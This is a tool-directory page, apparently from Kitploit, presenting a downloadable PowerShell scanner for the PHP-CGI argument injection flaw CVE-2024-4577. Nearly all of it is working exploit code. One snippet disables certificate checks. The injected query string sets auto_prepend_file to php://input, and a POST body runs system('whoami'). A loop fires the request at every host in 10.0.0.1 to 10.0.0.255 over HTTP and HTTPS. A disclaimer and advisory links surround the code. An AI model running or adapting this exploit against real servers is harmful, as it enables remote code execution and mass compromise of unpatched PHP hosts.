Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-4577_PowerShell — 使用PowsrShell掃描CVE-2024-4577 | Kitploit
Tools/GitHubGitHub/tntrock/cve-2024-4577_powershell
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubtntrock/cve-2024-4577_powershell

CVE-2024-4577_PowerShell

使用PowsrShell掃描CVE-2024-4577

View Repository
1 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-4577_PowerShell

Please note:
Ensure that you are authorized to conduct such penetration testing in the target environment; unauthorized use of attack techniques may violate relevant laws.
The code is for educational and research purposes only, and should be used within legal and ethical boundaries.
If you do not understand the potential consequences of penetration testing, it is recommended to hire a red team expert to conduct the test.

Explanation

First, set the script to ignore web certificate checks

root@kitploit:~
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

Main attack Payload

root@kitploit:~
$url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
$body = "<?php system('whoami'); die(); ?>"

Wrapped into a function and sent using PowerShell's built-in Invoke-WebRequest (TimeoutSec can be adjusted as needed)

root@kitploit:~
function Invoke-RequestForIP {
    param (
        [string]$IP,
        [string]$Protocol
    )
    $url = "${Protocol}://$IP/php-cgi/php-cgi.exe?%add+allow_url_include%3Don+-d+auto_prepend_file%3Dphp%3A//input+-d+cgi.force_redirect%3D0"
    $body = "<?php system('whoami'); die(); ?>"
    try {
        $response = Invoke-WebRequest -Uri $url -Method Post -Body $body -UseBasicParsing -TimeoutSec 2
        return $response.Content
    } catch {
        return $_.Exception.Message
    }
}

Through a loop, scan 10.0.0.1 ~ 10.0.0.255

root@kitploit:~
$baseIP = "10.0.0."
$start = 1
$end = 255

for ($i = $start; $i -le $end; $i++) {
    $currentIP = $baseIP + $i
    foreach ($protocol in @("http", "https")) {
        $result = Invoke-RequestForIP -IP $currentIP -Protocol $protocol
        Write-Output "IP: $currentIP, Protocol: $protocol, Result: $result"
    }
}

References

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability
https://nvd.nist.gov/vuln/detail/cve-2024-4577

Download Tool